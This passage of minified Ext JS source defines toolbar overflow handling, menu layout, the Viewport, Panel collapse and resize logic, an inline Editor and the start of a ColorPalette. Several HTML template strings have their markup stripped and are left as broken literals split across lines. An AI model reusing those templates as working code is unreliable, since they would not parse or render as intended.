t.bottom; k += n + (N || 0); L += n + (h.flex ? h.minHeight || 0 : N); m += n + (h.minHeight || N || 0); if (typeof I != "number") { if (g) { h.doLayout() } I = h.getWidth() } u = Math.max(u, I + t.left + t.right); G.push({component:h, height:N || undefined, width:I || undefined}) } var M = L - c, l = m > c; var q = Math.max(0, (c - k - x)); if (l) { for (T = 0, r = E; T < r; T++) { G[T].height = o[T].minHeight || o[T].height || G[T].height } } else { if (M > 0) { var J = []; for (var D = 0, r = E; D < r; D++) { var A = o[D], s = A.minHeight || 0; if (A.flex) { G[D].height = s } else { J.push({minHeight:s, available:G[D].height - s, index:D}) } } J.sort(function (Y, i) { return Y.available > i.available ? 1 : -1 }); for (var T = 0, r = J.length; T < r; T++) { var F = J[T].index; if (F == undefined) { continue } var A = o[F], j = G[F], v = j.height, s = A.minHeight, B = Math.max(s, v - Math.ceil(M / (r - T))), e = v - B; G[F].height = B; M -= e } } else { var Q = q, p = U; for (T = 0; T < E; T++) { h = o[T]; H = G[T]; t = h.margins; w = t.left + t.right; if (P && h.flex && !h.height) { S = Math.ceil((h.flex / p) * Q); Q -= S; p -= h.flex; H.height = S; H.dirtySize = true } } } } if (X) { C += q / 2 } else { if (z) { C += q } } for (T = 0; T < E; T++) { h = o[T]; H = G[T]; t = h.margins; C += t.top; w = t.left + t.right; H.left = V + t.left; H.top = C; switch (this.align) { case"stretch": d = K - w; H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000); H.dirtySize = true; break; case"stretchmax": d = u - w; H.width = d.constrain(h.minWidth || 0, h.maxWidth || 1000000); H.dirtySize = true; break; case"center": var y = K - H.width - w; if (y > 0) { H.left = V + w + (y / 2) } } C += H.height + t.bottom } return{boxes:G, meta:{maxWidth:u, nonFlexHeight:k, desiredHeight:L, minimumHeight:m, shortfall:L - c, tooNarrow:l}} }}); Ext.Container.LAYOUTS.vbox = Ext.layout.VBoxLayout; Ext.layout.ToolbarLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"toolbar", triggerWidth:18, noItemsMenuText:'
(None)
', lastOverflow:false, tableHTML:['', "", "", '", '", "", "", "
', '', "", '', "", "
", "
', '', "", "", "", "", "", "", "
", '', "", '', "", "
", "
", '', "", '', "", "
", "
", "
"].join(""), onLayout:function (e, j) { if (!this.leftTr) { var h = e.buttonAlign == "center" ? "center" : "left"; j.addClass("x-toolbar-layout-ct"); j.insertHtml("beforeEnd", String.format(this.tableHTML, h)); this.leftTr = j.child("tr.x-toolbar-left-row", true); this.rightTr = j.child("tr.x-toolbar-right-row", true); this.extrasTr = j.child("tr.x-toolbar-extras-row", true); if (this.hiddenItem == undefined) { this.hiddenItems = [] } } var k = e.buttonAlign == "right" ? this.rightTr : this.leftTr, l = e.items.items, d = 0; for (var b = 0, g = l.length, m; b < g; b++, d++) { m = l[b]; if (m.isFill) { k = this.rightTr; d = -1 } else { if (!m.rendered) { m.render(this.insertCell(m, k, d)); this.configureItem(m) } else { if (!m.xtbHidden && !this.isValidParent(m, k.childNodes[d])) { var a = this.insertCell(m, k, d); a.appendChild(m.getPositionEl().dom); m.container = Ext.get(a) } } } } this.cleanup(this.leftTr); this.cleanup(this.rightTr); this.cleanup(this.extrasTr); this.fitToSize(j) }, cleanup:function (b) { var e = b.childNodes, a, d; for (a = e.length - 1; a >= 0 && (d = e[a]); a--) { if (!d.firstChild) { b.removeChild(d) } } }, insertCell:function (e, b, a) { var d = document.createElement("td"); d.className = "x-toolbar-cell"; b.insertBefore(d, b.childNodes[a] || null); return d }, hideItem:function (a) { this.hiddenItems.push(a); a.xtbHidden = true; a.xtbWidth = a.getPositionEl().dom.parentNode.offsetWidth; a.hide() }, unhideItem:function (a) { a.show(); a.xtbHidden = false; this.hiddenItems.remove(a) }, getItemWidth:function (a) { return a.hidden ? (a.xtbWidth || 0) : a.getPositionEl().dom.parentNode.offsetWidth }, fitToSize:function (k) { if (this.container.enableOverflow === false) { return } var b = k.dom.clientWidth, j = k.dom.firstChild.offsetWidth, m = b - this.triggerWidth, a = this.lastWidth || 0, c = this.hiddenItems, e = c.length != 0, n = b >= a; this.lastWidth = b; if (j > b || (e && n)) { var l = this.container.items.items, h = l.length, d = 0, o; for (var g = 0; g < h; g++) { o = l[g]; if (!o.isFill) { d += this.getItemWidth(o); if (d > m) { if (!(o.hidden || o.xtbHidden)) { this.hideItem(o) } } else { if (o.xtbHidden) { this.unhideItem(o) } } } } } e = c.length != 0; if (e) { this.initMore(); if (!this.lastOverflow) { this.container.fireEvent("overflowchange", this.container, true); this.lastOverflow = true } } else { if (this.more) { this.clearMenu(); this.more.destroy(); delete this.more; if (this.lastOverflow) { this.container.fireEvent("overflowchange", this.container, false); this.lastOverflow = false } } } }, createMenuConfig:function (c, a) { var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup; Ext.copyTo(b, c, ["iconCls", "icon", "itemId", "disabled", "handler", "scope", "menu"]); Ext.apply(b, {text:c.overflowText || c.text, hideOnClick:a}); if (d || c.enableToggle) { Ext.apply(b, {group:d, checked:c.pressed, listeners:{checkchange:function (g, e) { c.toggle(e) }}}) } delete b.ownerCt; delete b.xtype; delete b.id; return b }, addComponentToMenu:function (b, a) { if (a instanceof Ext.Toolbar.Separator) { b.add("-") } else { if (Ext.isFunction(a.isXType)) { if (a.isXType("splitbutton")) { b.add(this.createMenuConfig(a, true)) } else { if (a.isXType("button")) { b.add(this.createMenuConfig(a, !a.menu)) } else { if (a.isXType("buttongroup")) { a.items.each(function (c) { this.addComponentToMenu(b, c) }, this) } } } } } }, clearMenu:function () { var a = this.moreMenu; if (a && a.items) { a.items.each(function (b) { delete b.menu }) } }, beforeMoreShow:function (h) { var b = this.container.items.items, a = b.length, g, e; var c = function (j, i) { return j.isXType("buttongroup") && !(i instanceof Ext.Toolbar.Separator) }; this.clearMenu(); h.removeAll(); for (var d = 0; d < a; d++) { g = b[d]; if (g.xtbHidden) { if (e && (c(g, e) || c(e, g))) { h.add("-") } this.addComponentToMenu(h, g); e = g } } if (h.items.length < 1) { h.add(this.noItemsMenuText) } }, initMore:function () { if (!this.more) { this.moreMenu = new Ext.menu.Menu({ownerCt:this.container, listeners:{beforeshow:this.beforeMoreShow, scope:this}}); this.more = new Ext.Button({iconCls:"x-toolbar-more-icon", cls:"x-toolbar-more", menu:this.moreMenu, ownerCt:this.container}); var a = this.insertCell(this.more, this.extrasTr, 100); this.more.render(a) } }, destroy:function () { Ext.destroy(this.more, this.moreMenu); delete this.leftTr; delete this.rightTr; delete this.extrasTr; Ext.layout.ToolbarLayout.superclass.destroy.call(this) }}); Ext.Container.LAYOUTS.toolbar = Ext.layout.ToolbarLayout; Ext.layout.MenuLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"menu", setContainer:function (a) { this.monitorResize = !a.floating; a.on("autosize", this.doAutoSize, this); Ext.layout.MenuLayout.superclass.setContainer.call(this, a) }, renderItem:function (g, b, e) { if (!this.itemTpl) { this.itemTpl = Ext.layout.MenuLayout.prototype.itemTpl = new Ext.XTemplate('
  • ', '', '{altText}', "", "
  • ") } if (g && !g.rendered) { if (Ext.isNumber(b)) { b = e.dom.childNodes[b] } var d = this.getItemArgs(g); g.render(g.positionEl = b ? this.itemTpl.insertBefore(b, d, true) : this.itemTpl.append(e, d, true)); g.positionEl.menuItemId = g.getItemId(); if (!d.isMenuItem && d.needsIcon) { g.positionEl.addClass("x-menu-list-item-indent") } this.configureItem(g) } else { if (g && !this.isValidParent(g, e)) { if (Ext.isNumber(b)) { b = e.dom.childNodes[b] } e.dom.insertBefore(g.getActionEl().dom, b || null) } } }, getItemArgs:function (d) { var a = d instanceof Ext.menu.Item, b = !(a || d instanceof Ext.menu.Separator); return{isMenuItem:a, needsIcon:b && (d.icon || d.iconCls), icon:d.icon || Ext.BLANK_IMAGE_URL, iconCls:"x-menu-item-icon " + (d.iconCls || ""), itemId:"x-menu-el-" + d.id, itemCls:"x-menu-list-item ", altText:d.altText || ""} }, isValidParent:function (b, a) { return b.el.up("li.x-menu-list-item", 5).dom.parentNode === (a.dom || a) }, onLayout:function (a, b) { Ext.layout.MenuLayout.superclass.onLayout.call(this, a, b); this.doAutoSize() }, doAutoSize:function () { var c = this.container, a = c.width; if (c.floating) { if (a) { c.setWidth(a) } else { if (Ext.isIE) { c.setWidth(Ext.isStrict && (Ext.isIE7 || Ext.isIE8 || Ext.isIE9) ? "auto" : c.minWidth); var d = c.getEl(), b = d.dom.offsetWidth; c.setWidth(c.getLayoutTarget().getWidth() + d.getFrameWidth("lr")) } } } }}); Ext.Container.LAYOUTS.menu = Ext.layout.MenuLayout; Ext.Viewport = Ext.extend(Ext.Container, {initComponent:function () { Ext.Viewport.superclass.initComponent.call(this); document.getElementsByTagName("html")[0].className += " x-viewport"; this.el = Ext.getBody(); this.el.setHeight = Ext.emptyFn; this.el.setWidth = Ext.emptyFn; this.el.setSize = Ext.emptyFn; this.el.dom.scroll = "no"; this.allowDomMove = false; this.autoWidth = true; this.autoHeight = true; Ext.EventManager.onWindowResize(this.fireResize, this); this.renderTo = this.el }, fireResize:function (a, b) { this.fireEvent("resize", this, a, b, a, b) }}); Ext.reg("viewport", Ext.Viewport); Ext.Panel = Ext.extend(Ext.Container, {baseCls:"x-panel", collapsedCls:"x-panel-collapsed", maskDisabled:true, animCollapse:Ext.enableFx, headerAsText:true, buttonAlign:"right", collapsed:false, collapseFirst:true, minButtonWidth:75, elements:"body", preventBodyReset:false, padding:undefined, resizeEvent:"bodyresize", toolTarget:"header", collapseEl:"bwrap", slideAnchor:"t", disabledClass:"", deferHeight:true, expandDefaults:{duration:0.25}, collapseDefaults:{duration:0.25}, initComponent:function () { Ext.Panel.superclass.initComponent.call(this); this.addEvents("bodyresize", "titlechange", "iconchange", "collapse", "expand", "beforecollapse", "beforeexpand", "beforeclose", "close", "activate", "deactivate"); if (this.unstyled) { this.baseCls = "x-plain" } this.toolbars = []; if (this.tbar) { this.elements += ",tbar"; this.topToolbar = this.createToolbar(this.tbar); this.tbar = null } if (this.bbar) { this.elements += ",bbar"; this.bottomToolbar = this.createToolbar(this.bbar); this.bbar = null } if (this.header === true) { this.elements += ",header"; this.header = null } else { if (this.headerCfg || (this.title && this.header !== false)) { this.elements += ",header" } } if (this.footerCfg || this.footer === true) { this.elements += ",footer"; this.footer = null } if (this.buttons) { this.fbar = this.buttons; this.buttons = null } if (this.fbar) { this.createFbar(this.fbar) } if (this.autoLoad) { this.on("render", this.doAutoLoad, this, {delay:10}) } }, createFbar:function (b) { var a = this.minButtonWidth; this.elements += ",footer"; this.fbar = this.createToolbar(b, {buttonAlign:this.buttonAlign, toolbarCls:"x-panel-fbar", enableOverflow:false, defaults:function (d) { return{minWidth:d.minWidth || a} }}); this.fbar.items.each(function (d) { d.minWidth = d.minWidth || this.minButtonWidth }, this); this.buttons = this.fbar.items.items }, createToolbar:function (b, c) { var a; if (Ext.isArray(b)) { b = {items:b} } a = b.events ? Ext.apply(b, c) : this.createComponent(Ext.apply({}, b, c), "toolbar"); this.toolbars.push(a); return a }, createElement:function (a, c) { if (this[a]) { c.appendChild(this[a].dom); return } if (a === "bwrap" || this.elements.indexOf(a) != -1) { if (this[a + "Cfg"]) { this[a] = Ext.fly(c).createChild(this[a + "Cfg"]) } else { var b = document.createElement("div"); b.className = this[a + "Cls"]; this[a] = Ext.get(c.appendChild(b)) } if (this[a + "CssClass"]) { this[a].addClass(this[a + "CssClass"]) } if (this[a + "Style"]) { this[a].applyStyles(this[a + "Style"]) } } }, onRender:function (g, e) { Ext.Panel.superclass.onRender.call(this, g, e); this.createClasses(); var a = this.el, h = a.dom, k, i; if (this.collapsible && !this.hideCollapseTool) { this.tools = this.tools ? this.tools.slice(0) : []; this.tools[this.collapseFirst ? "unshift" : "push"]({id:"toggle", handler:this.toggleCollapse, scope:this}) } if (this.tools) { i = this.tools; this.elements += (this.header !== false) ? ",header" : "" } this.tools = {}; a.addClass(this.baseCls); if (h.firstChild) { this.header = a.down("." + this.headerCls); this.bwrap = a.down("." + this.bwrapCls); var j = this.bwrap ? this.bwrap : a; this.tbar = j.down("." + this.tbarCls); this.body = j.down("." + this.bodyCls); this.bbar = j.down("." + this.bbarCls); this.footer = j.down("." + this.footerCls); this.fromMarkup = true } if (this.preventBodyReset === true) { a.addClass("x-panel-reset") } if (this.cls) { a.addClass(this.cls) } if (this.buttons) { this.elements += ",footer" } if (this.frame) { a.insertHtml("afterBegin", String.format(Ext.Element.boxMarkup, this.baseCls)); this.createElement("header", h.firstChild.firstChild.firstChild); this.createElement("bwrap", h); k = this.bwrap.dom; var c = h.childNodes[1], b = h.childNodes[2]; k.appendChild(c); k.appendChild(b); var l = k.firstChild.firstChild.firstChild; this.createElement("tbar", l); this.createElement("body", l); this.createElement("bbar", l); this.createElement("footer", k.lastChild.firstChild.firstChild); if (!this.footer) { this.bwrap.dom.lastChild.className += " x-panel-nofooter" } this.ft = Ext.get(this.bwrap.dom.lastChild); this.mc = Ext.get(l) } else { this.createElement("header", h); this.createElement("bwrap", h); k = this.bwrap.dom; this.createElement("tbar", k); this.createElement("body", k); this.createElement("bbar", k); this.createElement("footer", k); if (!this.header) { this.body.addClass(this.bodyCls + "-noheader"); if (this.tbar) { this.tbar.addClass(this.tbarCls + "-noheader") } } } if (Ext.isDefined(this.padding)) { this.body.setStyle("padding", this.body.addUnits(this.padding)) } if (this.border === false) { this.el.addClass(this.baseCls + "-noborder"); this.body.addClass(this.bodyCls + "-noborder"); if (this.header) { this.header.addClass(this.headerCls + "-noborder") } if (this.footer) { this.footer.addClass(this.footerCls + "-noborder") } if (this.tbar) { this.tbar.addClass(this.tbarCls + "-noborder") } if (this.bbar) { this.bbar.addClass(this.bbarCls + "-noborder") } } if (this.bodyBorder === false) { this.body.addClass(this.bodyCls + "-noborder") } this.bwrap.enableDisplayMode("block"); if (this.header) { this.header.unselectable(); if (this.headerAsText) { this.header.dom.innerHTML = '' + this.header.dom.innerHTML + ""; if (this.iconCls) { this.setIconClass(this.iconCls) } } } if (this.floating) { this.makeFloating(this.floating) } if (this.collapsible && this.titleCollapse && this.header) { this.mon(this.header, "click", this.toggleCollapse, this); this.header.setStyle("cursor", "pointer") } if (i) { this.addTool.apply(this, i) } if (this.fbar) { this.footer.addClass("x-panel-btns"); this.fbar.ownerCt = this; this.fbar.render(this.footer); this.footer.createChild({cls:"x-clear"}) } if (this.tbar && this.topToolbar) { this.topToolbar.ownerCt = this; this.topToolbar.render(this.tbar) } if (this.bbar && this.bottomToolbar) { this.bottomToolbar.ownerCt = this; this.bottomToolbar.render(this.bbar) } }, setIconClass:function (b) { var a = this.iconCls; this.iconCls = b; if (this.rendered && this.header) { if (this.frame) { this.header.addClass("x-panel-icon"); this.header.replaceClass(a, this.iconCls) } else { var e = this.header, c = e.child("img.x-panel-inline-icon"); if (c) { Ext.fly(c).replaceClass(a, this.iconCls) } else { var d = e.child("span." + this.headerTextCls); if (d) { Ext.DomHelper.insertBefore(d.dom, {tag:"img", alt:"", src:Ext.BLANK_IMAGE_URL, cls:"x-panel-inline-icon " + this.iconCls}) } } } } this.fireEvent("iconchange", this, b, a) }, makeFloating:function (a) { this.floating = true; this.el = new Ext.Layer(Ext.apply({}, a, {shadow:Ext.isDefined(this.shadow) ? this.shadow : "sides", shadowOffset:this.shadowOffset, constrain:false, shim:this.shim === false ? false : undefined}), this.el) }, getTopToolbar:function () { return this.topToolbar }, getBottomToolbar:function () { return this.bottomToolbar }, getFooterToolbar:function () { return this.fbar }, addButton:function (a, c, b) { if (!this.fbar) { this.createFbar([]) } if (c) { if (Ext.isString(a)) { a = {text:a} } a = Ext.apply({handler:c, scope:b}, a) } return this.fbar.add(a) }, addTool:function () { if (!this.rendered) { if (!this.tools) { this.tools = [] } Ext.each(arguments, function (a) { this.tools.push(a) }, this); return } if (!this[this.toolTarget]) { return } if (!this.toolTemplate) { var h = new Ext.Template('
     
    '); h.disableFormats = true; h.compile(); Ext.Panel.prototype.toolTemplate = h } for (var g = 0, d = arguments, c = d.length; g < c; g++) { var b = d[g]; if (!this.tools[b.id]) { var j = "x-tool-" + b.id + "-over"; var e = this.toolTemplate.insertFirst(this[this.toolTarget], b, true); this.tools[b.id] = e; e.enableDisplayMode("block"); this.mon(e, "click", this.createToolHandler(e, b, j, this)); if (b.on) { this.mon(e, b.on) } if (b.hidden) { e.hide() } if (b.qtip) { if (Ext.isObject(b.qtip)) { Ext.QuickTips.register(Ext.apply({target:e.id}, b.qtip)) } else { e.dom.qtip = b.qtip } } e.addClassOnOver(j) } } }, onLayout:function (b, a) { Ext.Panel.superclass.onLayout.apply(this, arguments); if (this.hasLayout && this.toolbars.length > 0) { Ext.each(this.toolbars, function (c) { c.doLayout(undefined, a) }); this.syncHeight() } }, syncHeight:function () { var b = this.toolbarHeight, c = this.body, a = this.lastSize.height, d; if (this.autoHeight || !Ext.isDefined(a) || a == "auto") { return } if (b != this.getToolbarHeight()) { b = Math.max(0, a - this.getFrameHeight()); c.setHeight(b); d = c.getSize(); this.toolbarHeight = this.getToolbarHeight(); this.onBodyResize(d.width, d.height) } }, onShow:function () { if (this.floating) { return this.el.show() } Ext.Panel.superclass.onShow.call(this) }, onHide:function () { if (this.floating) { return this.el.hide() } Ext.Panel.superclass.onHide.call(this) }, createToolHandler:function (c, a, d, b) { return function (g) { c.removeClass(d); if (a.stopEvent !== false) { g.stopEvent() } if (a.handler) { a.handler.call(a.scope || c, g, c, b, a) } } }, afterRender:function () { if (this.floating && !this.hidden) { this.el.show() } if (this.title) { this.setTitle(this.title) } Ext.Panel.superclass.afterRender.call(this); if (this.collapsed) { this.collapsed = false; this.collapse(false) } this.initEvents() }, getKeyMap:function () { if (!this.keyMap) { this.keyMap = new Ext.KeyMap(this.el, this.keys) } return this.keyMap }, initEvents:function () { if (this.keys) { this.getKeyMap() } if (this.draggable) { this.initDraggable() } if (this.toolbars.length > 0) { Ext.each(this.toolbars, function (a) { a.doLayout(); a.on({scope:this, afterlayout:this.syncHeight, remove:this.syncHeight}) }, this); this.syncHeight() } }, initDraggable:function () { this.dd = new Ext.Panel.DD(this, Ext.isBoolean(this.draggable) ? null : this.draggable) }, beforeEffect:function (a) { if (this.floating) { this.el.beforeAction() } if (a !== false) { this.el.addClass("x-panel-animated") } }, afterEffect:function (a) { this.syncShadow(); this.el.removeClass("x-panel-animated") }, createEffect:function (c, b, d) { var e = {scope:d, block:true}; if (c === true) { e.callback = b; return e } else { if (!c.callback) { e.callback = b } else { e.callback = function () { b.call(d); Ext.callback(c.callback, c.scope) } } } return Ext.applyIf(e, c) }, collapse:function (b) { if (this.collapsed || this.el.hasFxBlock() || this.fireEvent("beforecollapse", this, b) === false) { return } var a = b === true || (b !== false && this.animCollapse); this.beforeEffect(a); this.onCollapse(a, b); return this }, onCollapse:function (a, b) { if (a) { this[this.collapseEl].slideOut(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterCollapse, this), this.collapseDefaults)) } else { this[this.collapseEl].hide(this.hideMode); this.afterCollapse(false) } }, afterCollapse:function (a) { this.collapsed = true; this.el.addClass(this.collapsedCls); if (a !== false) { this[this.collapseEl].hide(this.hideMode) } this.afterEffect(a); this.cascade(function (b) { if (b.lastSize) { b.lastSize = {width:undefined, height:undefined} } }); this.fireEvent("collapse", this) }, expand:function (b) { if (!this.collapsed || this.el.hasFxBlock() || this.fireEvent("beforeexpand", this, b) === false) { return } var a = b === true || (b !== false && this.animCollapse); this.el.removeClass(this.collapsedCls); this.beforeEffect(a); this.onExpand(a, b); return this }, onExpand:function (a, b) { if (a) { this[this.collapseEl].slideIn(this.slideAnchor, Ext.apply(this.createEffect(b || true, this.afterExpand, this), this.expandDefaults)) } else { this[this.collapseEl].show(this.hideMode); this.afterExpand(false) } }, afterExpand:function (a) { this.collapsed = false; if (a !== false) { this[this.collapseEl].show(this.hideMode) } this.afterEffect(a); if (this.deferLayout) { delete this.deferLayout; this.doLayout(true) } this.fireEvent("expand", this) }, toggleCollapse:function (a) { this[this.collapsed ? "expand" : "collapse"](a); return this }, onDisable:function () { if (this.rendered && this.maskDisabled) { this.el.mask() } Ext.Panel.superclass.onDisable.call(this) }, onEnable:function () { if (this.rendered && this.maskDisabled) { this.el.unmask() } Ext.Panel.superclass.onEnable.call(this) }, onResize:function (g, d, c, e) { var a = g, b = d; if (Ext.isDefined(a) || Ext.isDefined(b)) { if (!this.collapsed) { if (Ext.isNumber(a)) { this.body.setWidth(a = this.adjustBodyWidth(a - this.getFrameWidth())) } else { if (a == "auto") { a = this.body.setWidth("auto").dom.offsetWidth } else { a = this.body.dom.offsetWidth } } if (this.tbar) { this.tbar.setWidth(a); if (this.topToolbar) { this.topToolbar.setSize(a) } } if (this.bbar) { this.bbar.setWidth(a); if (this.bottomToolbar) { this.bottomToolbar.setSize(a); if (Ext.isIE) { this.bbar.setStyle("position", "static"); this.bbar.setStyle("position", "") } } } if (this.footer) { this.footer.setWidth(a); if (this.fbar) { this.fbar.setSize(Ext.isIE ? (a - this.footer.getFrameWidth("lr")) : "auto") } } if (Ext.isNumber(b)) { b = Math.max(0, b - this.getFrameHeight()); this.body.setHeight(b) } else { if (b == "auto") { this.body.setHeight(b) } } if (this.disabled && this.el._mask) { this.el._mask.setSize(this.el.dom.clientWidth, this.el.getHeight()) } } else { this.queuedBodySize = {width:a, height:b}; if (!this.queuedExpand && this.allowQueuedExpand !== false) { this.queuedExpand = true; this.on("expand", function () { delete this.queuedExpand; this.onResize(this.queuedBodySize.width, this.queuedBodySize.height) }, this, {single:true}) } } this.onBodyResize(a, b) } this.syncShadow(); Ext.Panel.superclass.onResize.call(this, g, d, c, e) }, onBodyResize:function (a, b) { this.fireEvent("bodyresize", this, a, b) }, getToolbarHeight:function () { var a = 0; if (this.rendered) { Ext.each(this.toolbars, function (b) { a += b.getHeight() }, this) } return a }, adjustBodyHeight:function (a) { return a }, adjustBodyWidth:function (a) { return a }, onPosition:function () { this.syncShadow() }, getFrameWidth:function () { var b = this.el.getFrameWidth("lr") + this.bwrap.getFrameWidth("lr"); if (this.frame) { var a = this.bwrap.dom.firstChild; b += (Ext.fly(a).getFrameWidth("l") + Ext.fly(a.firstChild).getFrameWidth("r")); b += this.mc.getFrameWidth("lr") } return b }, getFrameHeight:function () { var a = this.el.getFrameWidth("tb") + this.bwrap.getFrameWidth("tb"); a += (this.tbar ? this.tbar.getHeight() : 0) + (this.bbar ? this.bbar.getHeight() : 0); if (this.frame) { a += this.el.dom.firstChild.offsetHeight + this.ft.dom.offsetHeight + this.mc.getFrameWidth("tb") } else { a += (this.header ? this.header.getHeight() : 0) + (this.footer ? this.footer.getHeight() : 0) } return a }, getInnerWidth:function () { return this.getSize().width - this.getFrameWidth() }, getInnerHeight:function () { return this.body.getHeight() }, syncShadow:function () { if (this.floating) { this.el.sync(true) } }, getLayoutTarget:function () { return this.body }, getContentTarget:function () { return this.body }, setTitle:function (b, a) { this.title = b; if (this.header && this.headerAsText) { this.header.child("span").update(b) } if (a) { this.setIconClass(a) } this.fireEvent("titlechange", this, b); return this }, getUpdater:function () { return this.body.getUpdater() }, load:function () { var a = this.body.getUpdater(); a.update.apply(a, arguments); return this }, beforeDestroy:function () { Ext.Panel.superclass.beforeDestroy.call(this); if (this.header) { this.header.removeAllListeners() } if (this.tools) { for (var a in this.tools) { Ext.destroy(this.tools[a]) } } if (this.toolbars.length > 0) { Ext.each(this.toolbars, function (b) { b.un("afterlayout", this.syncHeight, this); b.un("remove", this.syncHeight, this) }, this) } if (Ext.isArray(this.buttons)) { while (this.buttons.length) { Ext.destroy(this.buttons[0]) } } if (this.rendered) { Ext.destroy(this.ft, this.header, this.footer, this.tbar, this.bbar, this.body, this.mc, this.bwrap, this.dd); if (this.fbar) { Ext.destroy(this.fbar, this.fbar.el) } } Ext.destroy(this.toolbars) }, createClasses:function () { this.headerCls = this.baseCls + "-header"; this.headerTextCls = this.baseCls + "-header-text"; this.bwrapCls = this.baseCls + "-bwrap"; this.tbarCls = this.baseCls + "-tbar"; this.bodyCls = this.baseCls + "-body"; this.bbarCls = this.baseCls + "-bbar"; this.footerCls = this.baseCls + "-footer" }, createGhost:function (a, e, b) { var d = document.createElement("div"); d.className = "x-panel-ghost " + (a ? a : ""); if (this.header) { d.appendChild(this.el.dom.firstChild.cloneNode(true)) } Ext.fly(d.appendChild(document.createElement("ul"))).setHeight(this.bwrap.getHeight()); d.style.width = this.el.dom.offsetWidth + "px"; if (!b) { this.container.dom.appendChild(d) } else { Ext.getDom(b).appendChild(d) } if (e !== false && this.el.useShim !== false) { var c = new Ext.Layer({shadow:false, useDisplay:true, constrain:false}, d); c.show(); return c } else { return new Ext.Element(d) } }, doAutoLoad:function () { var a = this.body.getUpdater(); if (this.renderer) { a.setRenderer(this.renderer) } a.update(Ext.isObject(this.autoLoad) ? this.autoLoad : {url:this.autoLoad}) }, getTool:function (a) { return this.tools[a] }}); Ext.reg("panel", Ext.Panel); Ext.Editor = function (b, a) { if (b.field) { this.field = Ext.create(b.field, "textfield"); a = Ext.apply({}, b); delete a.field } else { this.field = b } Ext.Editor.superclass.constructor.call(this, a) }; Ext.extend(Ext.Editor, Ext.Component, {allowBlur:true, value:"", alignment:"c-c?", offsets:[0, 0], shadow:"frame", constrain:false, swallowKeys:true, completeOnEnter:true, cancelOnEsc:true, updateEl:false, initComponent:function () { Ext.Editor.superclass.initComponent.call(this); this.addEvents("beforestartedit", "startedit", "beforecomplete", "complete", "canceledit", "specialkey") }, onRender:function (b, a) { this.el = new Ext.Layer({shadow:this.shadow, cls:"x-editor", parentEl:b, shim:this.shim, shadowOffset:this.shadowOffset || 4, id:this.id, constrain:this.constrain}); if (this.zIndex) { this.el.setZIndex(this.zIndex) } this.el.setStyle("overflow", Ext.isGecko ? "auto" : "hidden"); if (this.field.msgTarget != "title") { this.field.msgTarget = "qtip" } this.field.inEditor = true; this.mon(this.field, {scope:this, blur:this.onBlur, specialkey:this.onSpecialKey}); if (this.field.grow) { this.mon(this.field, "autosize", this.el.sync, this.el, {delay:1}) } this.field.render(this.el).show(); this.field.getEl().dom.name = ""; if (this.swallowKeys) { this.field.el.swallowEvent(["keypress", "keydown"]) } }, onSpecialKey:function (g, d) { var b = d.getKey(), a = this.completeOnEnter && b == d.ENTER, c = this.cancelOnEsc && b == d.ESC; if (a || c) { d.stopEvent(); if (a) { this.completeEdit() } else { this.cancelEdit() } if (g.triggerBlur) { g.triggerBlur() } } this.fireEvent("specialkey", g, d) }, startEdit:function (b, c) { if (this.editing) { this.completeEdit() } this.boundEl = Ext.get(b); var a = c !== undefined ? c : this.boundEl.dom.innerHTML; if (!this.rendered) { this.render(this.parentEl || document.body) } if (this.fireEvent("beforestartedit", this, this.boundEl, a) !== false) { this.startValue = a; this.field.reset(); this.field.setValue(a); this.realign(true); this.editing = true; this.show() } }, doAutoSize:function () { if (this.autoSize) { var b = this.boundEl.getSize(), a = this.field.getSize(); switch (this.autoSize) { case"width": this.setSize(b.width, a.height); break; case"height": this.setSize(a.width, b.height); break; case"none": this.setSize(a.width, a.height); break; default: this.setSize(b.width, b.height) } } }, setSize:function (a, b) { delete this.field.lastSize; this.field.setSize(a, b); if (this.el) { if (Ext.isGecko2 || Ext.isOpera || (Ext.isIE7 && Ext.isStrict)) { this.el.setSize(a, b) } this.el.sync() } }, realign:function (a) { if (a === true) { this.doAutoSize() } this.el.alignTo(this.boundEl, this.alignment, this.offsets) }, completeEdit:function (a) { if (!this.editing) { return } if (this.field.assertValue) { this.field.assertValue() } var b = this.getValue(); if (!this.field.isValid()) { if (this.revertInvalid !== false) { this.cancelEdit(a) } return } if (String(b) === String(this.startValue) && this.ignoreNoChange) { this.hideEdit(a); return } if (this.fireEvent("beforecomplete", this, b, this.startValue) !== false) { b = this.getValue(); if (this.updateEl && this.boundEl) { this.boundEl.update(b) } this.hideEdit(a); this.fireEvent("complete", this, b, this.startValue) } }, onShow:function () { this.el.show(); if (this.hideEl !== false) { this.boundEl.hide() } this.field.show().focus(false, true); this.fireEvent("startedit", this.boundEl, this.startValue) }, cancelEdit:function (a) { if (this.editing) { var b = this.getValue(); this.setValue(this.startValue); this.hideEdit(a); this.fireEvent("canceledit", this, b, this.startValue) } }, hideEdit:function (a) { if (a !== true) { this.editing = false; this.hide() } }, onBlur:function () { if (this.allowBlur === true && this.editing && this.selectSameEditor !== true) { this.completeEdit() } }, onHide:function () { if (this.editing) { this.completeEdit(); return } this.field.blur(); if (this.field.collapse) { this.field.collapse() } this.el.hide(); if (this.hideEl !== false) { this.boundEl.show() } }, setValue:function (a) { this.field.setValue(a) }, getValue:function () { return this.field.getValue() }, beforeDestroy:function () { Ext.destroyMembers(this, "field"); delete this.parentEl; delete this.boundEl }}); Ext.reg("editor", Ext.Editor); Ext.ColorPalette = Ext.extend(Ext.Component, {itemCls:"x-color-palette", value:null, clickEvent:"click", ctype:"Ext.ColorPalette", allowReselect:false, colors:["000000", "993300", "333300", "003300", "003366", "000080", "333399", "333333", "800000", "FF6600", "808000", "008000", "008080", "0000FF", "666699", "808080", "FF0000", "FF9900", "99CC00", "339966", "33CCCC", "3366FF", "800080", "969696", "FF00FF", "FFCC00", "FFFF00", "00FF00", "00FFFF", "00CCFF", "993366", "C0C0C0", "FF99CC", "FFCC99", "FFFF99", "CCFFCC", "CCFFFF", "99CCFF", "CC99FF", "FFFFFF"], initComponent:function () { Ext.ColorPalette.superclass.initComponent.call(this); this.addEvents("select"); if (this.handler) { this.on("select", this.handler, this.scope, true) } }, onRender:function (b, a) { this.autoEl = {tag:"div", cls:this.itemCls}; Ext.ColorPalette.superclass.onRender.call(this, b, a); var c = this.tpl || new Ext.XTemplate(' '); c.overwrite(this.el, this.colors); 